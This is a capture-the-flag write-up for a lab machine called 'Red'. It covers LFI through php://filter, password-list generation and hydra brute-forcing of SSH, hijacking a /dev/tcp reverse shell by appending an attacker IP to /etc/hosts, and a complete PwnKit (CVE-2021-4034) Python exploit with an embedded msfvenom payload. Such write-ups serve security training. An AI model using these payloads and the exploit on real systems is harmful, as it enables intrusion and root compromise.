Red
This report details the process of identifying and exploiting vulnerabilities in a target system, designated "Red," as part of a simulated penetration testing exercise. The attack path involves exploiting a Local File Inclusion (LFI) vulnerability, bypassing weak input sanitization, discovering and cracking a password, gaining initial access via SSH, manipulating file attributes for a reverse shell, and ultimately achieving root-level access through the exploitation of CVE-2021-4034 (PwnKit).
Room Introduction
The match has started, and Red has taken the lead on you. But you are Blue, and only you can take Red down.
However, Red has implemented some defense mechanisms that will make the battle a bit difficult:
- Red has been known to kick adversaries out of the machine. Is there a way around it?
- Red likes to change adversaries' passwords but tends to keep them relatively the same.
- Red likes to taunt adversaries in order to throw off their focus. Keep your mind sharp!
I. Initial Reconnaissance and Enumeration
The initial phase focused on identifying open ports and services on the target system.
export TARGET_IP=10.10.117.183
nmap -p- --min-rate 5000 $TARGET_IP
II. Web Application Vulnerability Analysis (LFI)
The URL structure of the web application (http://$TARGET_IP/index.php?page=home.html
) strongly suggested the possibility of a Local File Inclusion (LFI) vulnerability. LFI vulnerabilities allow attackers to include local files on the server within the output of a web page.
A. Initial LFI Attempts:
Direct attempts to access system files using common LFI payloads were unsuccessful:
?page=/etc/passwd
(Failed)?page=../../../../../etc/passwd
(Failed)
This indicated the presence of some form of input sanitization.
B. Bypassing Sanitization with PHP Filters:
To circumvent the sanitization, the php://filter
stream wrapper was employed. This wrapper provides a way to apply filters to data streams.
http://$TARGET_IP/index.php?page=php://filter/convert.base64-encode/resource=index.php
Explanation:
php://filter
: Specifies the PHP filter stream wrapper.convert.base64-encode
: Applies a base64 encoding filter. This is crucial because it prevents the included PHP code from being executed by the server. Instead, the base64-encoded source code is returned, which can then be decoded by the attacker.resource=index.php
: Specifies the target file to be included.
C. Source Code Analysis:
The base64-encoded output was decoded to reveal the PHP source code:
<?php
function sanitize_input($param) {
$param1 = str_replace("../","",$param);
$param2 = str_replace("./","",$param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>
Vulnerability Breakdown:
-
Weak Sanitization (
sanitize_input
): Thesanitize_input
function attempts to remove directory traversal sequences (../
and./
). However, this is easily bypassed by using alternative representations (e.g., nested sequences like....//
or URL encoding). It's also completely ineffective against absolute paths. -
Restrictive but Bypassable
preg_match
: Thepreg_match("/^[a-z]/", $page)
check enforces that the$page
parameter starts with a lowercase letter. This prevents direct access to files like/etc/passwd
. However, thephp://filter
wrapper bypasses this check because the wrapper itself starts with a lowercase letter. -
Dangerous
readfile
: Thereadfile($page)
function is the core of the vulnerability. It reads the contents of the specified file and sends it to the output. Because of the weak sanitization and the bypassedpreg_match
check, an attacker can control the$page
variable and read arbitrary files.
D. Reading Sensitive Files:
Using the php://filter
wrapper, the /etc/passwd
file was successfully read:
http://$TARGET_IP/index.php?page=php://filter/resource=/etc/passwd
Findings:
- Two user accounts were identified:
blue
andred
.
III. Password Cracking and Initial Access
A. Discovering Password Generation Logic:
The .bash_history
file of the blue
user was read using the LFI vulnerability:
http://$TARGET_IP/index.php?page=php://filter/resource=/home/blue/.bash_history
Contents:
echo "Red rules"
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y
This revealed a password generation process:
- A "reminder" string was used as input.
hashcat
with thebest64.rule
was used to generate a list of password variations.
B. Retrieving the Reminder:
http://$TARGET_IP/index.php?page=php://filter/resource=/home/blue/.reminder
The reminder was: sup3r_p@s$w0rd!
C. Password List Generation:
echo 'sup3r_p@s$w0rd!' > .reminder
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule > passlist.txt
D. Brute-Force Attack on SSH:
Hydra was used for a brute-force attack.
hydra -V -l "blue" -P passlist.txt ssh://$TARGET_IP -f
This identified a valid password for the blue
user.
E. Gaining Initial Access (SSH):
ssh blue@$TARGET_IP -T # Use the cracked password
Key Improvement (-T option): The -T
option in the ssh
command is critical. It disables pseudo-terminal allocation, preventing the session from being terminated by standard methods used by the system's defense mechanisms. This addresses the first challenge mentioned in the original problem statement.
IV. Privilege Escalation (Red User)
A. Identifying a Suspicious Process:
After gaining access as the blue
user, the running processes were examined:
ps aux
A suspicious process was identified:
red 15503 0.0 0.0 6972 2524 ? S 08:18 0:00 bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &
This indicates a reverse shell attempt to a host named redrules.thm
on port 9001, running as the red
user.
B. Analyzing /etc/hosts
:
cat /etc/hosts
Contents:
192.168.0.1 redrules.thm
The IP address 192.168.0.1
is likely unreachable from the target network.
C. Modifying /etc/hosts
(Append-Only Attribute):
Attempts to directly modify /etc/hosts
failed. Examination of the file attributes revealed the issue:
ls -l /etc/hosts # Check permissions (-rw-r--rw-)
lsattr /etc/hosts # Check extended attributes (-----a--------e-----)
The a
attribute indicates that the file is append-only. This is a crucial finding. We can add to the file, but not overwrite existing content.
D. Redirecting redrules.thm
:
The /etc/hosts
file was appended with an entry to redirect redrules.thm
to the attacker's machine:
echo "$ATTACKER_IP redrules.thm" >> /etc/hosts
E. Setting up a Listener (Netcat):
On the attacker machine, a Netcat listener was started:
nc -nvlp 9001
F. Obtaining a Reverse Shell (Red User):
After the cron job executed (likely every minute), a reverse shell connection was received from the target, providing access as the red
user.
id # Confirm user (uid=1001(red))
V. Privilege Escalation (Root User - CVE-2021-4034)
A. Identifying a Suspicious pkexec
Binary:
A .git
folder was present in /home/red/
containing pkexec
binary.
/home/red/.git/pkexec --version # pkexec version 0.105
B. Vulnerability Analysis (CVE-2021-4034 - PwnKit):
The presence of a custom pkexec
binary (version 0.105) suggests a potential vulnerability. CVE-2021-4034, also known as "PwnKit," is a local privilege escalation vulnerability affecting polkit's pkexec
utility. The vulnerability allows an unprivileged user to execute arbitrary code with root privileges.
C. Exploit Implementation (CVE-2021-4034):
An exploit was downloaded (for example, https://github.com/joeammond/CVE-2021-4034/tree/main).
#!/usr/bin/env python3
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
''' # Base64-encoded msfvenom payload (linux/x64/exec, PrependSetuid=true)
payload = base64.b64decode(payload_b64)
# --- Exploit Code (Rest of the exploit remains the same) ---
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Find the C library to call execve() directly
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)
D. Executing the Exploit:
python3 exploit.py
id # Confirm root access (uid=0(root))